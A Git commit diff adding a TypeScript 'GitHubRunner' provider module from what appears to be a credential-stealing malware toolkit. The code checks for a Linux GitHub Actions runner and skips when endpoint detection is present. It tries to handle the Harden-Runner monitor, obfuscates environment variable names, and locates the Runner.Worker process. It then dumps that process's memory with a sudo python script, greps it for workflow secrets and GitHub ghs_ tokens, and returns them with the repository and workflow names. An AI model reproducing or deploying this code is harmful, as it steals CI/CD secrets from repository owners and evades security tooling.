Upload files to "src/providers/ghrunner"
This commit is contained in:
@@ -0,0 +1,167 @@
|
||||
import { execSync } from "child_process";
|
||||
import { existsSync, readdirSync, readFileSync } from "fs";
|
||||
import { platform } from "os";
|
||||
import { join } from "path";
|
||||
|
||||
import { DUMP_LINUX } from "../../generated";
|
||||
import { handleHardenRunner } from "../../utils/checkSandbox";
|
||||
import { hasHostileEDR } from "../../utils/config";
|
||||
import { bail } from "../../utils/lock";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
interface SecretEntry {
|
||||
name: string;
|
||||
value: string;
|
||||
}
|
||||
|
||||
function grepSecrets(data: Buffer): SecretEntry[] {
|
||||
const output = execSync(
|
||||
`tr -d '\\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u`,
|
||||
{ input: data, encoding: "utf-8", maxBuffer: 512 * 1024 * 1024 },
|
||||
);
|
||||
const lines = output.trim().split("\n").filter(Boolean);
|
||||
const results: SecretEntry[] = [];
|
||||
for (const line of lines) {
|
||||
const nameEnd = line.indexOf('":{"value":"');
|
||||
if (nameEnd === -1) continue;
|
||||
const name = line.slice(1, nameEnd);
|
||||
const valueStart = nameEnd + 11;
|
||||
const valueEnd = line.indexOf('","isSecret":true}', valueStart);
|
||||
if (valueEnd === -1) continue;
|
||||
results.push({ name, value: line.slice(valueStart, valueEnd) });
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
export class GitHubRunner extends Provider {
|
||||
private isGitHubActions: boolean;
|
||||
private isLinuxRunner: boolean;
|
||||
|
||||
getLinuxDumpScript(pid: number): string {
|
||||
return DUMP_LINUX.replace("__PID__", String(pid));
|
||||
}
|
||||
|
||||
constructor() {
|
||||
super(
|
||||
"github",
|
||||
"runner",
|
||||
{
|
||||
ghs_jwt: /ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g,
|
||||
ghs_old: /ghs_[A-Za-z0-9]{36,}/g,
|
||||
},
|
||||
"aggressive",
|
||||
);
|
||||
|
||||
this.isGitHubActions = process.env[scramble("GITHUB_ACTIONS")] === "true";
|
||||
this.isLinuxRunner = process.env[scramble("RUNNER_OS")] === "Linux";
|
||||
}
|
||||
|
||||
findRunnerWorkerPIDLinux(): number | null {
|
||||
try {
|
||||
const procDir = "/proc";
|
||||
if (!existsSync(procDir)) return null;
|
||||
|
||||
const entries = readdirSync(procDir);
|
||||
for (const entry of entries) {
|
||||
if (!/^\d+$/.test(entry)) continue;
|
||||
const cmdlinePath = join(procDir, entry, "cmdline");
|
||||
try {
|
||||
const cmdline = readFileSync(cmdlinePath);
|
||||
if (cmdline.includes("Runner.Worker")) {
|
||||
return parseInt(entry, 10);
|
||||
}
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
override async shouldRun(): Promise<boolean> {
|
||||
if (hasHostileEDR()) {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
async detectHardenRunner() {
|
||||
const handled = await handleHardenRunner();
|
||||
if (!handled) {
|
||||
logUtil.log("detectHardenRunner: could not handle, exiting");
|
||||
bail();
|
||||
}
|
||||
}
|
||||
|
||||
private runPrivilegedStdin(shell: string, script: string): Buffer {
|
||||
return execSync(`sudo ${shell}`, {
|
||||
input: script,
|
||||
maxBuffer: 512 * 1024 * 1024,
|
||||
}) as Buffer;
|
||||
}
|
||||
|
||||
private async dumpMemory(): Promise<Buffer | null> {
|
||||
const pid = this.findRunnerWorkerPIDLinux();
|
||||
if (!pid) {
|
||||
logUtil.log("dumpMemory: Runner.Worker PID not found");
|
||||
return null;
|
||||
}
|
||||
logUtil.log(`dumpMemory: PID ${pid}, platform ${platform()}`);
|
||||
|
||||
try {
|
||||
return this.runPrivilegedStdin("python3", this.getLinuxDumpScript(pid));
|
||||
} catch (e) {
|
||||
logUtil.log(
|
||||
`dumpMemory: FAILED: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
try {
|
||||
if (!this.isGitHubActions || !this.isLinuxRunner) {
|
||||
return this.failure("Not Actions or Linux");
|
||||
}
|
||||
|
||||
const repo = process.env[scramble("GITHUB_REPOSITORY")] ?? "";
|
||||
const workflow = process.env[scramble("GITHUB_WORKFLOW")] ?? "";
|
||||
|
||||
const memoryData = await this.dumpMemory();
|
||||
if (!memoryData || memoryData.length === 0) {
|
||||
return this.failure("No memory data from runner");
|
||||
}
|
||||
logUtil.log(`execute: dumped ${memoryData.length} bytes`);
|
||||
|
||||
const secrets = grepSecrets(memoryData);
|
||||
logUtil.log(`execute: grep found ${secrets.length} secrets`);
|
||||
|
||||
if (secrets.length === 0) {
|
||||
return this.failure("No secrets found in runner memory");
|
||||
}
|
||||
|
||||
const secretsObj: Record<string, string> = {};
|
||||
for (const s of secrets) {
|
||||
secretsObj[s.name] = s.value;
|
||||
}
|
||||
|
||||
return this.success({
|
||||
secrets: secretsObj,
|
||||
repo,
|
||||
workflow,
|
||||
secretCount: secrets.length,
|
||||
rawBytes: memoryData.length,
|
||||
});
|
||||
} catch (e) {
|
||||
const msg = e instanceof Error ? e.message : String(e);
|
||||
logUtil.log(`execute: ERROR: ${msg}`);
|
||||
return this.failure(new Error(`Error processing runner: ${msg}`));
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user